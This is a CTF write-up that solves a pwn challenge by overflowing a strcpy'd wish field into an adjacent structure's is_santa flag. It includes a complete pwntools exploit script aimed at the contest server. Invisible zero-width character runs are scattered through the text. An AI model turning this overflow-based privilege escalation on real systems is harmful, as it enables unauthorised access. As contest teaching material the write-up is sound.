← Back to Writeups
CUSTOMMediumpwn

New year show

XESXOR9/2/20263 min read
#pwn#custom#medium#privilege_escalation_via_overf#structure_field_overwrite

New year show

Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-11 | Status: Solved Techniques: privilege_escalation_via_overflow, structure_field_overwrite

Summary

Task: Holiday workshop binary with a helper registration system where the wish field in a 136-byte structure can overflow into the adjacent structure. Solution: Registered two helpers, overflowed the first helper's wish field (75 bytes + p32(1)) to overwrite the second helper's is_santa flag, then logged in as the promoted helper to access the flag.

New year show — grodno_new_year_2026

Description

"Вау, никогда раньше не видел такого шоу" / "Wow, I've never seen a show like this before."

Connection: nc ctf.mf.grsu.by 9074

Binary: newyear_party (ELF 64-bit LSB PIE executable, not stripped, with debug_info)

Analysis

Binary Overview

The binary implements a "Holiday Workshop" system with helper registration and login functionality.

Helper Structure (136 bytes = 0x88)

c
struct helper {
    int is_santa;       // offset 0x00 (4 bytes) - determines access to special gift
    char name[29];      // offset 0x04 (29 bytes)
    char password[28];  // offset 0x21 (28 bytes)
    char wish[75];      // offset 0x3d (75 bytes to end of structure)
};

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Pre-initialized Helpers

  • helpers[0]: SantaClaus (is_santa=1)
  • helpers[1]: Grinch (is_santa=0)

Vulnerability

The update_wish_list function uses strcpy to copy user input into the wish field without bounds checking:

c
void update_wish_list(struct helper *h) {
    char buffer[256];
    printf("Enter new wish list: ");
    gets(buffer);  // or similar unsafe input
    strcpy(h->wish, buffer);  // NO BOUNDS CHECK!
}

Since wish starts at offset 0x3d (61) and the structure is 136 bytes total:

  • wish field has 75 bytes until the end of the structure
  • Writing 76+ bytes overflows into the next structure's is_santa field ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Access Control

Only users with is_santa == 1 can call get_special_gift() which reads and prints flag.txt.

Exploitation Strategy

  1. Register Helper1 (position 3 in array)
  2. Register Helper2 (position 4 in array) - target for privilege escalation
  3. Login as Helper1
  4. Update wish list with overflow payload: 75 bytes padding + p32(1)
  5. This overwrites Helper2's is_santa field to 1
  6. Logout and login as Helper2 (now has Santa privileges)
  7. Select "Get Special Gift" to retrieve the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Memory Layout

helpers[3] (Helper1):
  +0x00: is_santa = 0
  +0x04: name = "Helper1"
  +0x21: password = "pass1"
  +0x3d: wish = "AAAA..." (75 bytes) + OVERFLOW

helpers[4] (Helper2):
  +0x00: is_santa = 0 -> 1 (OVERWRITTEN!)
  +0x04: name = "Helper2"
  ...

Solution

python
#!/usr/bin/env python3
from pwn import *

r = remote('ctf.mf.grsu.by', 9074)

# Register first helper (position 3)
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'name:', b'Helper1')
r.sendlineafter(b'phrase:', b'pass1')
r.sendlineafter(b'list?:', b'wish1')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Register second helper (position 4) - target for privilege escalation
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'name:', b'Helper2')
r.sendlineafter(b'phrase:', b'pass2')
r.sendlineafter(b'list?:', b'wish2')

# Login as Helper1
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'name:', b'Helper1')
r.sendlineafter(b'phrase:', b'pass1')

# Buffer overflow: 75 bytes padding + is_santa = 1
payload = b'A' * 75 + p32(1)
r.sendlineafter(b'>', b'2')  # Update wish list
r.sendlineafter(b'list:', payload)

# Return to main menu
r.sendlineafter(b'>', b'4')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login as Helper2 (now Santa!)
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'name:', b'Helper2')
r.sendlineafter(b'phrase:', b'pass2')

# Get special gift (flag)
r.sendlineafter(b'>', b'3')
print(r.recvall(timeout=3).decode())

Lessons Learned

  1. strcpy is dangerous - always use strncpy or similar bounded functions
  2. Structure layout matters - placing privilege flags at the start makes them vulnerable to overflow from previous structures
  3. Array adjacency - elements in arrays are contiguous in memory, making overflow between elements trivial
  4. Defense: Use stack canaries, bounds checking, and place sensitive fields after user-controlled buffers ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

  • Classic buffer overflow exploitation
  • Structure field overwrite technique
  • Privilege escalation via memory corruption ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍